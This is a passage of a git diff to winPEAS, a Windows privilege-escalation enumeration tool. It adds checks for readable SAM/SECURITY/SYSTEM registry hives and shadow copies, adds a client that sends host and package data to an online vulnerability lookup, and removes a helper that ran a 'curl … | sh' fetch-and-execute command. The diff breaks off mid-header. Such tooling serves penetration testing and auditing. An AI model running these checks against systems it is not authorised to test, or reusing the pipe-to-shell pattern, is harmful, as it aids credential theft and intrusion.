_endpointData.Add("General Info", new List() - { - new EndpointData() - { - EndpointName = "", - Data = null, - IsAttackVector = false - } - }); + _endpointData.Add("General Info", CreateUnavailableEndpointData()); } } catch (Exception ex) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs index d393b572..3ea6bc1c 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs @@ -46,15 +46,7 @@ public override Dictionary> EndpointDataList() } else { - _endpointData.Add("General Info", new List() - { - new EndpointData() - { - EndpointName = "", - Data = null, - IsAttackVector = false - } - }); + _endpointData.Add("General Info", CreateUnavailableEndpointData()); } } catch (Exception ex) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GPSInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GPSInfo.cs index 802fdccb..b86e38a1 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GPSInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GPSInfo.cs @@ -157,20 +157,7 @@ private List GetGPSValues() } } - // Format the info in expected CloudInfo format - List _endpointDataList = new List(); - - foreach (var kvp in GPSRegValues) - { - _endpointDataList.Add(new EndpointData() - { - EndpointName = kvp.Key, - Data = kvp.Value?.Trim(), - IsAttackVector = false - }); - } - - return _endpointDataList; + return CreateEndpointData(GPSRegValues); } public string ExtractValue(string input, string pattern) @@ -198,15 +185,7 @@ public override Dictionary> EndpointDataList() } else { - _endpointData.Add("General Info", new List() - { - new EndpointData() - { - EndpointName = "", - Data = null, - IsAttackVector = false - } - }); + _endpointData.Add("General Info", CreateUnavailableEndpointData()); } } catch (Exception ex) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs index 24f83d40..44909e7f 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs @@ -66,20 +66,7 @@ private List GetWorkspaceRegValues() workspaceRegValues.Add("Chrome Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\Chrome", @"CloudManagementEnrollmentToken")); workspaceRegValues.Add("Workspace Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\CloudManagement", @"EnrollmentToken")); - // Format the info in expected CloudInfo format - List _endpointDataList = new List(); - - foreach (var kvp in workspaceRegValues) - { - _endpointDataList.Add(new EndpointData() - { - EndpointName = kvp.Key, - Data = kvp.Value?.Trim(), - IsAttackVector = false - }); - } - - return _endpointDataList; + return CreateEndpointData(workspaceRegValues); } static string DecryptRegRefreshToken(string registryPath) @@ -138,15 +125,7 @@ public override Dictionary> EndpointDataList() } else { - _endpointData.Add("General Info", new List() - { - new EndpointData() - { - EndpointName = "", - Data = null, - IsAttackVector = false - } - }); + _endpointData.Add("General Info", CreateUnavailableEndpointData()); } } catch (Exception ex) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/RegistryHiveExposure.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/RegistryHiveExposure.cs new file mode 100644 index 00000000..d9683aef --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/RegistryHiveExposure.cs @@ -0,0 +1,335 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Management; +using System.Security.AccessControl; +using winPEAS.Helpers; +using winPEAS.Native; + +namespace winPEAS.Info.FilesInfo +{ + internal enum RegistryHiveExposureKind + { + UnsafeLiveAcl, + ReadableBackup, + ReadableShadowCopy, + } + + internal sealed class RegistryHiveExposureFinding + { + public RegistryHiveExposureKind Kind { get; set; } + public string HiveName { get; set; } + public string Path { get; set; } + public string Trustee { get; set; } + } + + internal sealed class RegistryHiveExposureReport + { + public List Findings { get; } = new List(); + public int ShadowCopiesChecked { get; set; } + public bool ShadowCopyEnumerationSucceeded { get; set; } + public bool ShadowDeviceProbeUsed { get; set; } + public bool ShadowCopyLimitReached { get; set; } + } + + internal static class RegistryHiveExposure + { + internal const int MaxShadowCopies = 64; + + private const uint GenericRead = 0x80000000; + private const uint GenericAll = 0x10000000; + private const uint FileReadData = 0x00000001; + private const uint OpenExisting = 3; + private const uint ShareReadWriteDelete = 0x00000007; + + private static readonly string[] HiveNames = { "SAM", "SECURITY", "SYSTEM" }; + private const string ShadowDevicePrefix = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy"; + + public static RegistryHiveExposureReport GetReport(IEnumerable backupPaths) + { + var report = new RegistryHiveExposureReport(); + string systemRoot = Environment.GetEnvironmentVariable("SystemRoot"); + if (string.IsNullOrWhiteSpace(systemRoot)) + { + return report; + } + + bool isPrivilegedContext; + HashSet unprivilegedSids = PermissionsHelper.GetUnprivilegedTokenSids(out isPrivilegedContext); + CheckLiveHiveAcls(systemRoot, unprivilegedSids, report); + CheckBackupHives(backupPaths, unprivilegedSids, isPrivilegedContext, report); + CheckShadowCopies(systemRoot, unprivilegedSids, isPrivilegedContext, report); + return report; + } + + private static void CheckLiveHiveAcls( + string systemRoot, + HashSet unprivilegedSids, + RegistryHiveExposureReport report) + { + string displayConfigDirectory = Path.Combine(systemRoot, "System32", "config"); + string accessSystemDirectory = Environment.Is64BitOperatingSystem && !Environment.Is64BitProcess + ? "Sysnative" + : "System32"; + string accessConfigDirectory = Path.Combine(systemRoot, accessSystemDirectory, "config"); + + foreach (string hiveName in HiveNames) + { + string hivePath = Path.Combine(displayConfigDirectory, hiveName); + string accessPath = Path.Combine(accessConfigDirectory, hiveName); + string trustee = GetReadTrustee(accessPath, unprivilegedSids); + if (!string.IsNullOrEmpty(trustee)) + { + report.Findings.Add(new RegistryHiveExposureFinding + { + Kind = RegistryHiveExposureKind.UnsafeLiveAcl, + HiveName = hiveName, + Path = hivePath, + Trustee = trustee, + }); + } + } + } + + private static void CheckBackupHives( + IEnumerable backupPaths, + HashSet unprivilegedSids, + bool isPrivilegedContext, + RegistryHiveExposureReport report) + { + if (backupPaths == null) + { + return; + } + + foreach (string backupPath in backupPaths) + { + if (string.IsNullOrWhiteSpace(backupPath)) + { + continue; + } + + string trustee = GetReadTrustee(backupPath, unprivilegedSids); + if (string.IsNullOrEmpty(trustee) && (isPrivilegedContext || !CanOpenForRead(backupPath))) + { + continue; + } + + report.Findings.Add(new RegistryHiveExposureFinding + { + Kind = RegistryHiveExposureKind.ReadableBackup, + HiveName = Path.GetFileName(backupPath), + Path = backupPath, + Trustee = trustee, + }); + } + } + + private static void CheckShadowCopies( + string systemRoot, + HashSet unprivilegedSids, + bool isPrivilegedContext, + RegistryHiveExposureReport report) + { + try + { + using (var searcher = new ManagementObjectSearcher("SELECT DeviceObject FROM Win32_ShadowCopy")) + using (ManagementObjectCollection shadowCopies = searcher.Get()) + { + report.ShadowCopyEnumerationSucceeded = true; + foreach (ManagementObject shadowCopy in shadowCopies) + { + if (report.ShadowCopiesChecked >= MaxShadowCopies) + { + report.ShadowCopyLimitReached = true; + break; + } + + string deviceObject = shadowCopy["DeviceObject"] as string; + if (!IsExpectedShadowDevicePath(deviceObject)) + { + continue; + } + + CheckShadowDevice(deviceObject, systemRoot, unprivilegedSids, isPrivilegedContext, report); + } + } + } + catch + { + // WMI is often restricted to administrators. Bounded device-name probing still + // verifies any snapshot that the current token can actually read. + report.ShadowCopyEnumerationSucceeded = false; + report.ShadowCopiesChecked = 0; + report.Findings.RemoveAll(finding => finding.Kind == RegistryHiveExposureKind.ReadableShadowCopy); + ProbeShadowDevices(systemRoot, unprivilegedSids, isPrivilegedContext, report); + } + } + + private static void ProbeShadowDevices( + string systemRoot, + HashSet unprivilegedSids, + bool isPrivilegedContext, + RegistryHiveExposureReport report) + { + report.ShadowDeviceProbeUsed = true; + for (int shadowNumber = 1; shadowNumber <= MaxShadowCopies; shadowNumber++) + { + string deviceObject = ShadowDevicePrefix + shadowNumber; + CheckShadowDevice(deviceObject, systemRoot, unprivilegedSids, isPrivilegedContext, report); + } + + report.ShadowCopyLimitReached = true; + } + + private static void CheckShadowDevice( + string deviceObject, + string systemRoot, + HashSet unprivilegedSids, + bool isPrivilegedContext, + RegistryHiveExposureReport report) + { + report.ShadowCopiesChecked++; + foreach (string hiveName in HiveNames) + { + string hivePath = BuildShadowHivePath(deviceObject, systemRoot, hiveName); + if (string.IsNullOrEmpty(hivePath)) + { + continue; + } + + string trustee = GetReadTrustee(hivePath, unprivilegedSids); + if (string.IsNullOrEmpty(trustee) && (isPrivilegedContext || !CanOpenForRead(hivePath))) + { + continue; + } + + report.Findings.Add(new RegistryHiveExposureFinding + { + Kind = RegistryHiveExposureKind.ReadableShadowCopy, + HiveName = hiveName, + Path = hivePath, + Trustee = trustee, + }); + } + } + + internal static string BuildShadowHivePath(string deviceObject, string systemRoot, string hiveName) + { + if (!IsExpectedShadowDevicePath(deviceObject) || string.IsNullOrWhiteSpace(systemRoot) || + string.IsNullOrWhiteSpace(hiveName) || systemRoot.Length < 4 || systemRoot[1] != ':' || + (systemRoot[2] != '\\' && systemRoot[2] != '/')) + { + return null; + } + + string relativeWindowsDirectory = systemRoot.Substring(3).Trim('\\', '/'); + if (string.IsNullOrWhiteSpace(relativeWindowsDirectory) || relativeWindowsDirectory.Contains("..") || + hiveName.IndexOfAny(new[] { '\\', '/' }) >= 0) + { + return null; + } + + return deviceObject.TrimEnd('\\') + "\\" + relativeWindowsDirectory.Replace('/', '\\') + + "\\System32\\config\\" + hiveName; + } + + private static bool IsExpectedShadowDevicePath(string deviceObject) + { + if (string.IsNullOrWhiteSpace(deviceObject) || + !deviceObject.StartsWith(ShadowDevicePrefix, StringComparison.OrdinalIgnoreCase)) + { + return false; + } + + string suffix = deviceObject.Substring(ShadowDevicePrefix.Length).TrimEnd('\\'); + int shadowNumber; + return suffix.Length > 0 && int.TryParse(suffix, out shadowNumber) && shadowNumber >= 0; + } + + private static bool CanOpenForRead(string path) + { + try + { + using (var handle = Kernel32.CreateFile( + path, + FileReadData, + ShareReadWriteDelete, + IntPtr.Zero, + OpenExisting, + 0, + IntPtr.Zero)) + { + // Opening the handle performs an effective access check; no hive bytes are read. + return !handle.IsInvalid; + } + } + catch + { + return false; + } + } + + private static string GetReadTrustee(string path, ISet unprivilegedSids) + { + try + { + FileSecurity security = File.GetAccessControl(path, AccessControlSections.Access); + var descriptor = new RawSecurityDescriptor(security.GetSecurityDescriptorBinaryForm(), 0); + return FindReadTrustee(descriptor, unprivilegedSids); + } + catch + { + return null; + } + } + + internal static string FindReadTrustee(RawSecurityDescriptor descriptor, ISet enabledSids) + { + if (descriptor == null || enabledSids == null || enabledSids.Count == 0) + { + return null; + } + + if ((descriptor.ControlFlags & ControlFlags.DiscretionaryAclPresent) == 0 || + descriptor.DiscretionaryAcl == null) + { + return enabledSids.Contains("S-1-1-0") ? "S-1-1-0" : null; + } + + foreach (GenericAce ace in descriptor.DiscretionaryAcl) + { + if ((ace.AceFlags & AceFlags.InheritOnly) != 0) + { + continue; + } + + var qualifiedAce = ace as QualifiedAce; + var knownAce = ace as KnownAce; + if (qualifiedAce == null || knownAce == null || qualifiedAce.SecurityIdentifier == null || + !enabledSids.Contains(qualifiedAce.SecurityIdentifier.Value) || !GrantsFileReadData(knownAce.AccessMask)) + { + continue; + } + + if (qualifiedAce.AceQualifier == AceQualifier.AccessDenied) + { + return null; + } + + if (qualifiedAce.AceQualifier == AceQualifier.AccessAllowed) + { + return qualifiedAce.SecurityIdentifier.Value; + } + } + + return null; + } + + private static bool GrantsFileReadData(int accessMask) + { + uint mask = unchecked((uint)accessMask); + return (mask & FileReadData) != 0 || (mask & GenericRead) != 0 || (mask & GenericAll) != 0; + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSL.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSL.cs deleted file mode 100644 index 49f510aa..00000000 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSL.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using System.Diagnostics; -using System.Text; - -namespace winPEAS.Info.FilesInfo.WSL -{ - public class WSL - { - public static void RunLinpeas(string linpeasUrl) - { - string linpeasCmd = $"curl -L {linpeasUrl} --silent | sh"; - string command = Environment.Is64BitProcess ? - $@"bash -c ""{linpeasCmd}""" : - Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\""; - - ExecuteCommand(command); - } - - private static void ExecuteCommand(string command, - string workingFolder = null, - string verb = "OPEN") - { - string executable = command; - string args = null; - - if (executable.StartsWith("\"")) - { - int at = executable.IndexOf("\" "); - if (at > 0) - { - args = executable.Substring(at + 1).Trim(); - executable = executable.Substring(0, at); - } - } - else - { - int at = executable.IndexOf(" "); - if (at > 0) - { - if (executable.Length > at + 1) - { - args = executable.Substring(at + 1).Trim(); - } - executable = executable.Substring(0, at); - } - } - - var processStartInfo = new ProcessStartInfo - { - UseShellExecute = false, - Verb = verb, - CreateNoWindow = true, - FileName = executable, - WorkingDirectory = workingFolder, - Arguments = args, - RedirectStandardOutput = true, - RedirectStandardError = true, - StandardOutputEncoding = Encoding.UTF8 - }; - - using (var process = Process.Start(processStartInfo)) - { - if (process != null) - { - while (!process.StandardOutput.EndOfStream) - { - Console.WriteLine(process.StandardOutput.ReadLine()); - } - - while (!process.StandardError.EndOfStream) - { - Console.WriteLine(process.StandardError.ReadLine()); - } - } - } - } - } -} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/HackTricksHostChecker.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/HackTricksHostChecker.cs new file mode 100644 index 00000000..7e13cbcb --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/HackTricksHostChecker.cs @@ -0,0 +1,455 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net; +using System.Net.Http; +using System.Net.Http.Headers; +using System.Text; +using System.Text.Json; +using System.Threading; +using System.Threading.Tasks; +using winPEAS.Info.ApplicationInfo; + +namespace winPEAS.Info.NetworkInfo +{ + public sealed class HostCheckerResult + { + public string Hostname { get; set; } + public string RawResponse { get; set; } + public string HostOnlyResponse { get; set; } + public string Error { get; set; } + } + + public sealed class PackageVulnerabilitySummary + { + public int Checked { get; set; } + public int Affected { get; set; } + public int NotShown { get; set; } + public string Error { get; set; } + public List Lines { get; } = new List(); + } + + internal sealed class PackageVulnerabilityEntry + { + public int OriginalIndex { get; set; } + public int SeverityPriority { get; set; } + public double CvssScore { get; set; } + public string Line { get; set; } + } + + public static class HackTricksHostChecker + { + private const int TimeoutSeconds = 15; + private const string DefaultUrl = "https://tools.hacktricks.wiki/api/host-checker"; + private static readonly object LockObj = new object(); + private static Task lookupTask; + private static bool startedWithPackages; + private static bool startedWithHostname; + + public static void Start(bool includeHostname, bool includePackages) + { + if (!includeHostname && !includePackages) + { + return; + } + + lock (LockObj) + { + if (lookupTask != null) + { + if ((includePackages && !startedWithPackages) || (includeHostname && !startedWithHostname)) + { + lookupTask = Task.Run(() => ExecuteLookup(includeHostname || startedWithHostname, includePackages || startedWithPackages)); + startedWithHostname = includeHostname || startedWithHostname; + startedWithPackages = includePackages || startedWithPackages; + } + return; + } + + startedWithHostname = includeHostname; + startedWithPackages = includePackages; + lookupTask = Task.Run(() => ExecuteLookup(includeHostname, includePackages)); + } + } + + public static HostCheckerResult GetResult() + { + EnsureStarted(Checks.Checks.CheckOnlineVulnPackages); + try + { + return lookupTask.GetAwaiter().GetResult(); + } + catch (Exception ex) + { + return new HostCheckerResult { Error = $"Error during online HackTricks check: {ex.Message}" }; + } + } + + public static PackageVulnerabilitySummary GetPackageVulnerabilities(int maxLines) + { + EnsureStarted(includePackages: true); + var result = GetResult(); + if (!string.IsNullOrEmpty(result.Error)) + { + return new PackageVulnerabilitySummary { Error = result.Error }; + } + + return ParsePackageVulnerabilities(result.RawResponse, maxLines); + } + + public static PackageVulnerabilitySummary ParsePackageVulnerabilities(string responseJson, int maxLines) + { + var summary = new PackageVulnerabilitySummary(); + if (string.IsNullOrWhiteSpace(responseJson)) + { + summary.Error = "No response received from HackTricks online lookup."; + return summary; + } + + try + { + using (var doc = JsonDocument.Parse(responseJson)) + { + var root = doc.RootElement; + if (!root.TryGetProperty("package_vulnerabilities", out var packageVulns)) + { + return summary; + } + + summary.Checked = GetInt(packageVulns, "checked"); + summary.Affected = GetInt(packageVulns, "affected"); + + if (packageVulns.TryGetProperty("error", out var error) && error.ValueKind == JsonValueKind.String) + { + summary.Error = "Package vulnerability lookup failed: " + error.GetString(); + return summary; + } + + if (!packageVulns.TryGetProperty("vulnerable_packages", out var packages) || + packages.ValueKind != JsonValueKind.Array) + { + return summary; + } + + var entries = new List(); + var index = 0; + foreach (var package in packages.EnumerateArray()) + { + var name = GetString(package, "name"); + var version = GetString(package, "version"); + var ecosystem = GetString(package, "ecosystem"); + var manager = GetString(package, "manager"); + var vulns = GetStringArray(package, "vulns"); + if (string.IsNullOrWhiteSpace(name) || vulns.Count == 0) + { + continue; + } + + var source = !string.IsNullOrWhiteSpace(ecosystem) ? ecosystem : manager; + var sourcePart = !string.IsNullOrWhiteSpace(source) ? $" [{source}]" : string.Empty; + var severity = GetPackageSeverity(package); + var severityPart = !string.IsNullOrWhiteSpace(severity) ? $" [{severity}]" : string.Empty; + var cvssScore = GetPackageCvssScore(package); + entries.Add(new PackageVulnerabilityEntry + { + OriginalIndex = index, + SeverityPriority = GetSeverityPriority(severity), + CvssScore = cvssScore, + Line = $"- {name} {version}{sourcePart}{severityPart}: {string.Join(", ", vulns)}".Trim() + }); + index++; + } + + summary.Lines.AddRange(entries + .OrderByDescending(entry => entry.SeverityPriority) + .ThenByDescending(entry => entry.CvssScore) + .ThenBy(entry => entry.OriginalIndex) + .Take(Math.Max(0, maxLines)) + .Select(entry => entry.Line)); + + summary.NotShown = Math.Max(0, summary.Affected - summary.Lines.Count); + } + } + catch (Exception ex) + { + summary.Error = "Could not parse package vulnerability lookup response: " + ex.Message; + } + + return summary; + } + + private static void EnsureStarted(bool includePackages) + { + Start( + includeHostname: !Checks.Checks.DontCheckHostname, + includePackages: includePackages); + } + + private static HostCheckerResult ExecuteLookup(bool includeHostname, bool includePackages) + { + var result = new HostCheckerResult(); + try + { + var hostname = GetHostname(); + result.Hostname = hostname; + + var payload = new Dictionary + { + { "source", "winpeas" }, + { "os", GetOsInfo() } + }; + + if (includeHostname && !string.IsNullOrWhiteSpace(hostname)) + { + payload["hostname"] = hostname; + } + + if (includePackages) + { + payload["packages"] = InstalledPackageInventory.GetInstalledPackages(); + } + + var url = Environment.GetEnvironmentVariable("HACKTRICKS_HOST_CHECKER_URL"); + if (string.IsNullOrWhiteSpace(url)) + { + url = DefaultUrl; + } + + using (var httpClient = new HttpClient()) + using (var cts = new CancellationTokenSource(TimeSpan.FromSeconds(TimeoutSeconds))) + { + httpClient.Timeout = TimeSpan.FromSeconds(TimeoutSeconds); + var body = JsonSerializer.Serialize(payload); + var req = new HttpRequestMessage(HttpMethod.Post, url) + { + Content = new StringContent(body, Encoding.UTF8, "application/json") + }; + req.Headers.UserAgent.ParseAdd("winpeas"); + req.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json")); + + var resp = httpClient.SendAsync(req, cts.Token).GetAwaiter().GetResult(); + if (!resp.IsSuccessStatusCode) + { + result.Error = $"External check failed (HTTP {(int)resp.StatusCode})"; + return result; + } + + result.RawResponse = resp.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + result.HostOnlyResponse = RemovePackageVulnerabilities(result.RawResponse); + } + } + catch (Exception ex) + { + result.Error = $"Error during online HackTricks check: {ex.Message}"; + } + + return result; + } + + private static string RemovePackageVulnerabilities(string responseJson) + { + if (string.IsNullOrWhiteSpace(responseJson)) + { + return responseJson; + } + + try + { + using (var doc = JsonDocument.Parse(responseJson)) + using (var stream = new MemoryStream()) + { + using (var writer = new Utf8JsonWriter(stream, new JsonWriterOptions { Indented = true })) + { + writer.WriteStartObject(); + foreach (var property in doc.RootElement.EnumerateObject()) + { + if (!string.Equals(property.Name, "package_vulnerabilities", StringComparison.OrdinalIgnoreCase)) + { + property.WriteTo(writer); + } + } + writer.WriteEndObject(); + } + + return Encoding.UTF8.GetString(stream.ToArray()); + } + } + catch + { + return responseJson; + } + } + + private static Dictionary GetOsInfo() + { + return new Dictionary + { + { "id", "windows" }, + { "name", "Windows" }, + { "version_id", Environment.OSVersion.VersionString }, + { "kernel", new Dictionary + { + { "release", Environment.OSVersion.Version.ToString() }, + { "arch", Environment.Is64BitOperatingSystem ? "x64" : "x86" } + } + } + }; + } + + private static string GetHostname() + { + try + { + var hostname = Dns.GetHostName(); + return string.IsNullOrWhiteSpace(hostname) ? Environment.MachineName : hostname; + } + catch + { + return Environment.MachineName; + } + } + + private static int GetInt(JsonElement element, string propertyName) + { + if (element.TryGetProperty(propertyName, out var property) && property.ValueKind == JsonValueKind.Number && property.TryGetInt32(out var value)) + { + return value; + } + return 0; + } + + private static string GetString(JsonElement element, string propertyName) + { + if (element.TryGetProperty(propertyName, out var property) && property.ValueKind == JsonValueKind.String) + { + return property.GetString(); + } + return string.Empty; + } + + private static string GetPackageSeverity(JsonElement package) + { + var severity = GetString(package, "severity"); + var priority = GetSeverityPriority(severity); + + foreach (var propertyName in new[] { "max_severity", "criticality", "risk", "level" }) + { + var candidate = GetString(package, propertyName); + var candidatePriority = GetSeverityPriority(candidate); + if (candidatePriority > priority) + { + severity = candidate; + priority = candidatePriority; + } + } + + if (priority == 0) + { + severity = GetSeverityFromCvss(GetPackageCvssScore(package)); + } + + return FormatSeverity(severity); + } + + private static double GetPackageCvssScore(JsonElement package) + { + var score = 0.0; + foreach (var propertyName in new[] { "cvss", "cvss_score", "cvssScore", "max_cvss", "max_cvss_score", "score" }) + { + score = Math.Max(score, GetScore(package, propertyName)); + } + return score; + } + + private static int GetSeverityPriority(string severity) + { + switch ((severity ?? "").Trim().ToLowerInvariant()) + { + case "critical": + return 5; + case "high": + case "important": + return 4; + case "medium": + case "moderate": + return 3; + case "low": + return 2; + case "none": + case "informational": + case "info": + return 1; + default: + return 0; + } + } + + private static string GetSeverityFromCvss(double cvssScore) + { + if (cvssScore >= 9.0) + { + return "Critical"; + } + if (cvssScore >= 7.0) + { + return "High"; + } + if (cvssScore >= 4.0) + { + return "Medium"; + } + if (cvssScore > 0) + { + return "Low"; + } + return string.Empty; + } + + private static string FormatSeverity(string severity) + { + severity = (severity ?? "").Trim(); + if (string.IsNullOrWhiteSpace(severity)) + { + return string.Empty; + } + return char.ToUpperInvariant(severity[0]) + severity.Substring(1).ToLowerInvariant(); + } + + private static double GetScore(JsonElement element, string propertyName) + { + if (!element.TryGetProperty(propertyName, out var property)) + { + return 0.0; + } + if (property.ValueKind == JsonValueKind.Number && property.TryGetDouble(out var value)) + { + return value; + } + if (property.ValueKind == JsonValueKind.String && double.TryParse( + property.GetString(), + System.Globalization.NumberStyles.Float, + System.Globalization.CultureInfo.InvariantCulture, + out value)) + { + return value; + } + return 0.0; + } + + private static List GetStringArray(JsonElement element, string propertyName) + { + if (!element.TryGetProperty(propertyName, out var property) || property.ValueKind != JsonValueKind.Array) + { + return new List(); + } + + return property + .EnumerateArray() + .Where(item => item.ValueKind == JsonValueKind.String) + .Select(item => item.GetString()) + .Where(value => !string.IsNullOrWhiteSpace(value)) + .ToList(); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/HostnameResolution.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/HostnameResolution.cs index 784463b9..2eaddfa8 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/HostnameResolution.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/HostnameResolution.cs @@ -1,9 +1,4 @@ using System; -using System.Net; -using System.Net.Http; -using System.Text; -using System.Text.Json; - namespace winPEAS.Info.NetworkInfo { public class HostnameResolutionInfo @@ -15,9 +10,6 @@ public class HostnameResolutionInfo public static class HostnameResolution { - private const int INTERNET_SEARCH_TIMEOUT = 15; - private static readonly HttpClient httpClient = new HttpClient(); - /// /// Attempts to resolve the local hostname via the external lambda. /// Always returns a populated object. @@ -28,36 +20,10 @@ public static HostnameResolutionInfo TryExternalCheck() try { - // 1. Determine hostname - info.Hostname = Dns.GetHostName(); - if (string.IsNullOrEmpty(info.Hostname)) - info.Hostname = Environment.MachineName; - - // 2. Prepare JSON body - var payload = new StringContent( - JsonSerializer.Serialize(new { hostname = info.Hostname }), - Encoding.UTF8, - "application/json"); - - // 3. Configure HttpClient (header added once) - if (!httpClient.DefaultRequestHeaders.Contains("User-Agent")) - httpClient.DefaultRequestHeaders.Add("User-Agent", "winpeas"); - httpClient.Timeout = TimeSpan.FromSeconds(INTERNET_SEARCH_TIMEOUT); - - // 4. Call external checker - var resp = httpClient - .PostAsync("https://tools.hacktricks.wiki/api/host-checker", payload) - .GetAwaiter().GetResult(); - - if (resp.IsSuccessStatusCode) - { - info.ExternalCheckResult = resp.Content.ReadAsStringAsync() - .GetAwaiter().GetResult(); - } - else - { - info.Error = $"External check failed (HTTP {(int)resp.StatusCode})"; - } + var result = HackTricksHostChecker.GetResult(); + info.Hostname = result.Hostname; + info.ExternalCheckResult = result.HostOnlyResponse; + info.Error = result.Error; } catch (Exception ex) { diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetConnectivity.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetConnectivity.cs index b878aba7..ff81bca0 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetConnectivity.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetConnectivity.cs @@ -1,11 +1,8 @@ using System; using System.Net; using System.Net.Http; -using System.Net.Http.Headers; using System.Net.NetworkInformation; using System.Net.Sockets; -using System.Text; -using System.Text.Json; using System.Threading; namespace winPEAS.Info.NetworkInfo @@ -49,9 +46,6 @@ public static class InternetConnectivity private static readonly string[] DNS_ICMP_IPS = { "1.1.1.1", "8.8.8.8" }; - private const string LAMBDA_URL = - "https://tools.hacktricks.wiki/api/host-checker"; - // Shared HttpClient (kept for HTTP & Lambda checks) private static readonly HttpClient http = new HttpClient { @@ -115,32 +109,7 @@ private static bool TryWebRequest(string url, out string error) private static bool TryLambdaAccess(out string error) { - try - { - using var cts = - new CancellationTokenSource(TimeSpan.FromMilliseconds(HTTP_TIMEOUT_MS)); - - var payload = new StringContent( - JsonSerializer.Serialize(new { hostname = Environment.MachineName }), - Encoding.UTF8, - "application/json"); - var req = new HttpRequestMessage(HttpMethod.Post, LAMBDA_URL); - req.Content = payload; - req.Headers.UserAgent.ParseAdd("winpeas"); - req.Headers.Accept.Add( - new MediaTypeWithQualityHeaderValue("application/json")); - - var resp = http.SendAsync(req, cts.Token).GetAwaiter().GetResult(); - - error = resp.IsSuccessStatusCode ? null : - $"HTTP {(int)resp.StatusCode}"; - return error == null; - } - catch (Exception ex) - { - error = ex.Message; - return false; - } + return TryWebRequest("https://example.com", out error); } private static bool TryDnsAccess(string ip, out string error) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettings.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettings.cs index 83a19b30..aad13b92 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettings.cs +++ b/Offensive Security & Penetration 